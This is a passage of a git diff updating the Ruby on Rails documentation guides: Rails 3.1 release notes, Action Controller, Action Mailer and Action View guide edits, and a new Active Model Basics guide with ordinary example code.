columns. + +* Setting the id of a +belongs_to+ object will update the reference to the object. + +* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics. + +* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called. + +* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable. + +* The query cache now works with prepared statements. No changes in the applications are required. + +h3. Active Model + +* +attr_accessible+ accepts an option +:as+ to specify a role. + +* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+. + +* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting. + +* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand. + +* Added support for selectively enabling and disabling observers. + +* Alternate <tt>I18n</tt> namespace lookup is no longer supported. + +h3. Active Resource + +* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example, + +<ruby> +class User < ActiveResource::Base + self.format = :xml +end +</ruby> + +h3. Active Support + +* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+. + +* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+. + +* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object. + +* Added <tt>Object#in?</tt> to test if an object is included in another object. + +* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class. + +* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes. + +* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+. + +* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8. + +* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time. + +* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>. + +Deprecations: + +* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library. + +h3. Credits + +See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev. diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile index 891bae3d5e..b34c223b31 100644 --- a/railties/guides/source/action_controller_overview.textile +++ b/railties/guides/source/action_controller_overview.textile @@ -166,10 +166,10 @@ h3. Session Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: -* CookieStore - Stores everything on the client. -* DRbStore - Stores the data on a DRb server. -* MemCacheStore - Stores the data in a memcache. -* ActiveRecordStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CookieStore - Stores everything on the client. +* ActiveRecord::SessionStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache. +* ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead). All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). @@ -177,6 +177,8 @@ For most stores this ID is used to look up the session data on the server, e.g. The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. + Read more about session storage in the "Security Guide":security.html. If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file: @@ -684,9 +686,11 @@ end This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option. +If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used. + WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. -TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work. +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. h4. RESTful Downloads @@ -794,7 +798,7 @@ NOTE: Certain exceptions are only rescuable from the +ApplicationController+ cla h3. Force HTTPS protocol -Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reason. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: +Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: <ruby> class DinnerController @@ -802,7 +806,7 @@ class DinnerController end </ruby> -Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions +Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions. <ruby> class DinnerController @@ -813,9 +817,3 @@ end </ruby> Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file. - -h3. Changelog - -* February 17, 2009: Yet another proofread by Xavier Noria. - -* November 4, 2008: First release version by Tore Darell diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile index a6ff8f877d..ad5b848d2c 100644 --- a/railties/guides/source/action_mailer_basics.textile +++ b/railties/guides/source/action_mailer_basics.textile @@ -8,7 +8,7 @@ WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not h3. Introduction -Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. +Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. h3. Sending Emails @@ -48,10 +48,8 @@ class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @url = "http://example.com/login" - mail(:to => user.email, - :subject => "Welcome to My Awesome Site") + mail(:to => user.email, :subject => "Welcome to My Awesome Site") end - end </ruby> @@ -104,7 +102,7 @@ When you call the +mail+ method now, Action Mailer will detect the two templates h5. Wire It Up So That the System Sends the Email When a User Signs Up -There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created. +There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created. Setting this up is painfully simple. @@ -142,17 +140,17 @@ end This provides a much simpler implementation that does not require the registering of observers and the like. -The method +welcome_email+ returns a Mail::Message object which can then just be told +deliver+ to send itself out. +The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out. NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself. -WARNING: Sending out one email should only take a fraction of a second, if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like delayed job. +WARNING: Sending out an email should only take a fraction of a second, but if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job. h4. Auto encoding header values Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies. -If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and ActionMailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. +If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. For more complex examples such as defining alternate character sets or self encoding text first, please refer to the Mail library. @@ -213,7 +211,7 @@ NOTE: If you specify an encoding, Mail will assume that your content is already h5. Making Inline Attachments -ActionMailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. +Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. * Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer: @@ -242,32 +240,33 @@ end h5. Sending Email To Multiple Recipients -It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The <tt>to:</tt> key however expects a string so you have join the list of recipients using a comma. +It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. <ruby> - class AdminMailer < ActionMailer::Base - default :to => Admin.all.map(&:email).join(", "), - :from => "notification@example.com" +class AdminMailer < ActionMailer::Base + default :to => Admin.all.map(&:email), + :from => "notification@example.com" - def new_registration(user) - @user = user - mail(:subject => "New User Signup: #{@user.email}") - end + def new_registration(user) + @user = user + mail(:subject => "New User Signup: #{@user.email}") end +end </ruby> +The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively. + h5. Sending Email With Name Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is to format the email address in the format <tt>"Name <email>"</tt>. <ruby> - def welcome_email(user) - @user = user - email_with_name = "#{@user.name} <#{@user.email}>" - mail(:to => email_with_name, - :subject => "Welcome to My Awesome Site") - end +def welcome_email(user) + @user = user + email_with_name = "#{@user.name} <#{@user.email}>" + mail(:to => email_with_name, :subject => "Welcome to My Awesome Site") +end </ruby> h4. Mailer Views @@ -284,16 +283,35 @@ class UserMailer < ActionMailer::Base @user = user @url = "http://example.com/login" mail(:to => user.email, + :subject => "Welcome to My Awesome Site", + :template_path => 'notifications', + :template_name => 'another') + end +end +</ruby> + +In this case it will look for templates at +app/views/notifications+ with name +another+. + +If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file: + +<ruby> +class UserMailer < ActionMailer::Base + default :from => "notifications@example.com" + + def welcome_email(user) + @user = user + @url = "http://example.com/login" + mail(:to => user.email, :subject => "Welcome to My Awesome Site") do |format| format.html { render 'another_template' } - format.text { render 'another_template' } + format.text { render :text => 'Render text' } end end end </ruby> -Will render 'another_template.text.erb' and 'another_template.html.erb'. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt> etc. +This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt>, <tt>:inline</tt> etc. h4. Action Mailer Layouts @@ -363,7 +381,7 @@ h4. Sending Multipart Emails Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. -The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order: +The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order: <ruby> class UserMailer < ActionMailer::Base @@ -383,7 +401,7 @@ Will put the HTML part first, and the plain text part second. h4. Sending Emails with Attachments -Attachments can be added by using the +attachment+ method: +Attachments can be added by using the +attachments+ method: <ruby> class UserMailer < ActionMailer::Base @@ -401,7 +419,7 @@ The above will send a multipart email with an attachment, properly nested with t h3. Receiving Emails -Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to: +Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to: * Implement a +receive+ method in your mailer. @@ -419,7 +437,7 @@ class UserMailer < ActionMailer::Base ) if email.has_attachments? - for attachment in email.attachments + email.attachments.each do |attachment| page.attachments.create({ :file => attachment, :description => email.subject @@ -438,18 +456,18 @@ h3. Action Mailer Configuration The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) -|template_root|Determines the base from which template references will be made.| -|logger|Generates information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.| -|smtp_settings|Allows detailed configuration for :smtp delivery method:<ul><li>:address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>:port - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>:domain - If you need to specify a HELO domain, you can do it here.</li><li>:user_name - If your mail server requires authentication, set the username in this setting.</li><li>:password - If your mail server requires authentication, set the password in this setting.</li><li>:authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.</li></ul>| -|sendmail_settings|Allows you to override options for the :sendmail delivery method.<ul><li>:location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.</li><li>:arguments - The command line arguments to be passed to sendmail. Defaults to -i -t.</li></ul>| -|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.| -|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, :file and :test.| -|perform_deliveries|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| -|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| +|+template_root+|Determines the base from which template references will be made.| +|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.| +|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>| +|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>| +|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.| +|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.| +|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| +|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| h4. Example Action Mailer Configuration -An example would be adding the following to your appropriate <tt>config/environments/env.rb</tt> file: +An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :sendmail @@ -464,7 +482,7 @@ config.action_mailer.raise_delivery_errors = true h4. Action Mailer Configuration for GMail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/env.rb</tt> file: +As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :smtp @@ -496,14 +514,10 @@ class UserMailerTest < ActionMailer::TestCase # Test the body of the sent email contains what we expect it to assert_equal [user.email], email.to assert_equal "Welcome to My Awesome Site", email.subject - assert_match /<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded - assert_match /Welcome to example.com, #{user.name}/, email.encoded + assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded) + assert_match(/Welcome to example.com, #{user.name}/, email.encoded) end end </ruby> In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. - -h3. Changelog - -* September 30, 2010: Fixed typos and reformatted Action Mailer configuration table for better understanding. "Jaime Iniesta":http://jaimeiniesta.com diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile index 2b2c197f46..40cde6ad84 100644 --- a/railties/guides/source/action_view_overview.textile +++ b/railties/guides/source/action_view_overview.textile @@ -165,7 +165,7 @@ will produce <em>emphasized</em> <em><b>emph & bold</b></em> <a href="http://rubyonrails.org">A link</a> -<target option="fast" name="compile" \> +<target option="fast" name="compile" /> </html> Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following: @@ -211,7 +211,7 @@ xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do end </ruby> -h5. Template caching +h5. Template Caching By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode. @@ -235,7 +235,7 @@ This will render a file named +_menu.html.erb+ at that point within the view is That code will pull in the partial from +app/views/shared/_menu.html.erb+. -h5. Using Partials to Simplify Views +h5. Using Partials to simplify Views One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this: @@ -454,6 +454,83 @@ input("post", "title") # => <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /> </ruby> +h4. RecordTagHelper + +This module provides methods for generating a container tag, such as a +<div>+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use. + +h5. content_tag_for + +Renders a container tag that relates to your Active Record Object. + +For example, given +@post+ is the object of +Post+ class, you can do: + +<ruby> +<%= content_tag_for(:tr, @post) do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +This will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +</html> + +You can also supply HTML attributes as an additional option hash. For example: + +<ruby> +<%= content_tag_for(:tr, @post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</tr> +</html> + +You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects: + +<ruby> +<%= content_tag_for(:tr, @posts) do |post| %> + <td><%= post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +<tr id="post_1235" class="post"> + <td>Ruby on Rails Rocks!</td> +</tr> +</html> + +h5. div_for + +This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example: + +<ruby> +<%= div_for(@post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<div id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</div> +</html> + h4. AssetTagHelper This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. @@ -478,7 +555,6 @@ javascript_include_tag :monkey # => <script type="text/javascript" src="/javascripts/tail.js"></script> </ruby> - h5. register_stylesheet_expansion Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+. @@ -615,7 +691,7 @@ atom_feed do |feed| feed.title("Posts Index") feed.updated((@posts.first.created_at)) - for post in @posts + @posts.each do |post| feed.entry(post) do |entry| entry.title(post.title) entry.content(post.body, :type => 'html') @@ -822,7 +898,7 @@ h5. select_year Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+. <ruby> -# Generates a select field for five years on either side of +Date.today+ that defaults to the current year +# Generates a select field for five years on either side of Date.today that defaults to the current year select_year(Date.today) # Generates a select field from 1900 to 2009 that defaults to the current year @@ -870,7 +946,7 @@ h4. FormHelper Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. -There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don‘t work with model attributes, check the ActionView::Helpers::FormTagHelper documentation. +There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation. The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: @@ -914,7 +990,7 @@ check_box("post", "validated") h5. fields_for -Creates a scope around a specific model object like form_for, but doesn‘t create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form: +Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form: <ruby> <%= form_for @person, :url => { :action => "update" } do |person_form| %> @@ -929,7 +1005,7 @@ Creates a scope around a specific model object like form_for, but doesn‘t crea h5. file_field -Returns an file upload input tag tailored for accessing a specified attribute. +Returns a file upload input tag tailored for accessing a specified attribute. <ruby> file_field(:user, :avatar) @@ -1037,7 +1113,7 @@ Sample usage (selecting the associated Author for an instance of Post, +@post+): collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true}) </ruby> -If @post.author_id is already 1, this would return: +If <tt>@post.author_id</tt> is 1, this would return: <html> <select name="post[author_id]"> @@ -1080,8 +1156,6 @@ Sample usage: option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) </ruby> -TODO check above textile output looks right - Possible output: <html> @@ -1132,13 +1206,13 @@ h5. select Create a select tag and a series of contained option tags for the provided object and method. -Example with @post.person_id => 1: +Example: <ruby> select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true }) </ruby> -could become: +If <tt>@post.person_id</tt> is 1, this would become: <html> <select name="post[person_id]"> @@ -1189,7 +1263,7 @@ h5. file_field_tag Creates a file upload field. -If you are using file uploads then you will also need to set the multipart option for the form tag: +Prior to Rails 3.1, if you are using file uploads, then you will need to set the multipart option for the form tag. Rails 3.1+ does this automatically. <ruby> <%= form_tag { :action => "post" }, { :multipart => true } do %> @@ -1400,102 +1474,6 @@ number_with_precision(111.2345) # => 111.235 number_with_precision(111.2345, 2) # => 111.23 </ruby> -h5. evaluate_remote_response - -Returns +eval(request.responseText)+ which is the JavaScript function that form_remote_tag can call in +:complete+ to evaluate a multiple update return document using +update_element_function+ calls. - -h5. form_remote_tag - -Returns a form tag that will submit using XMLHttpRequest in the background instead of the regular reloading POST arrangement. Even though it‘s using JavaScript to serialize the form elements, the form submission will work just like a regular submission as viewed by the receiving side. - -For example, this: - -<ruby> -form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") } -</ruby> - -would generate the following: - -<html> -<form action="/some/place" method="post" onsubmit="new Ajax.Request('', - {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;"> -</html> - -h5. link_to_remote - -Returns a link to a remote action that's called in the background using XMLHttpRequest. You can generate a link that uses AJAX in the general case, while degrading gracefully to plain link behavior in the absence of JavaScript. For example: - -<ruby> -link_to_remote "Delete this post", - { :update => "posts", :url => { :action => "destroy", :id => post.id } }, - :href => url_for(:action => "destroy", :id => post.id) -</ruby> - -h5. observe_field - -Observes the field specified and calls a callback when its contents have changed. - -<ruby> -observe_field("my_field", :function => "alert('Field changed')") -</ruby> - -h5. observe_form - -Observes the form specified and calls a callback when its contents have changed. The options for observe_form are the same as the options for observe_field. - -<ruby> -observe_field("my_form", :function => "alert('Form changed')") -</ruby> - -h5. periodically_call_remote - -Periodically calls the specified url as often as specified. Usually used to update a specified div with the results of the remote call. The following example will call update every 20 seconds and update the news_block div: - -<ruby> -periodically_call_remote(:url => 'update', :frequency => '20', :update => 'news_block') -# => PeriodicalExecuter(function() {new Ajax.Updater('news_block', 'update', {asynchronous:true, evalScripts:true})}, 20) -</ruby> - -h5. remote_form_for - -Creates a form that will submit using XMLHttpRequest in the background instead of the regular reloading POST arrangement and a scope around a specific resource that is used as a base for questioning about values for the fields. - -<ruby> -<%= remote_form_for(@post) do |f| %> - ... -<% end %> -</ruby> - -h5. remote_function - -Returns the JavaScript needed for a remote function. Takes the same arguments as +link_to_remote+. - -<ruby> -<select id="options" onchange="<%= remote_function(:update => "options", :url => { :action => :update_options }) %>"> - <option value="0">Hello</option> - <option value="1">World</option> -</select> -# => <select id="options" onchange="new Ajax.Updater('options', '/testing/update_options', {asynchronous:true, evalScripts:true})"> -</ruby> - -h5. submit_to_remote - -Returns a button input tag that will submit form using XMLHttpRequest in the background instead of a regular POST request that reloads the page. - -For example, the following: - -<ruby> -submit_to_remote 'create_btn', 'Create', :url => { :action => 'create' } -</ruby> - -would generate: - -<html> -<input name="create_btn" onclick="new Ajax.Request('/testing/create', - {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)}); - return false;" type="button" value="Create" /> -</html> - h3. Localized Views Action View has the ability render different templates depending on the current locale. @@ -1517,9 +1495,3 @@ end Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users. You can read more about the Rails Internationalization (I18n) API "here":i18n.html. - -h3. Changelog - -* April 16, 2011: Added 'Using Action View with Rails', 'Templates' and 'Partials' sections. "Sebastian Martinez":http://wyeworks.com -* September 3, 2009: Continuing work by Trevor Turk, leveraging the Action Pack docs and "What's new in Edge Rails":http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts -* April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy's docs diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile new file mode 100644 index 0000000000..9c8ad24cee --- /dev/null +++ b/railties/guides/source/active_model_basics.textile @@ -0,0 +1,205 @@ +h2. Active Model Basics + +This guide should provide you with all you need to get started using model classes. Active Model allow for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below - + +h4. AttributeMethods + +AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them. + +<ruby> +class Person + include ActiveModel::AttributeMethods + + attribute_method_prefix 'reset_' + attribute_method_suffix '_highest?' + define_attribute_methods ['age'] + + attr_accessor :age + +private + def reset_attribute(attribute) + send("#{attribute}=", 0) + end + + def attribute_highest?(attribute) + send(attribute) > 100 ? true : false + end + +end + +person = Person.new +person.age = 110 +person.age_highest? # true +person.reset_age # 0 +person.age_highest? # false + +</ruby> + +h4. Callbacks + +Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods. + +<ruby> +class Person + extend ActiveModel::Callbacks + + define_model_callbacks :update + + before_update :reset_me + + def update + _run_update_callbacks do + # This will call when we are trying to call update on object. + end + end + + def reset_me + # This method will call when you are calling update on object as a before_update callback as defined. + end +end +</ruby> + +h4. Conversion + +If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class. + +<ruby> +class Person + include ActiveModel::Conversion + + def persisted? + false + end + + def id + nil + end +end + +person = Person.new +person.to_model == person #=> true +person.to_key #=> nil +person.to_param #=> nil +</ruby> + +h4. Dirty + +An object becomes dirty when an object is gone through one or more changes to its attributes and not yet saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Lets consider a Person class with attributes first_name and last_name + +<ruby> +require 'rubygems' +require 'active_model' + +class Person + include ActiveModel::Dirty + define_attribute_methods [:first_name, :last_name] + + def first_name + @first_name + end + + def first_name=(value) + first_name_will_change! + @first_name = value + end + + def last_name + @last_name + end + + def last_name=(value) + 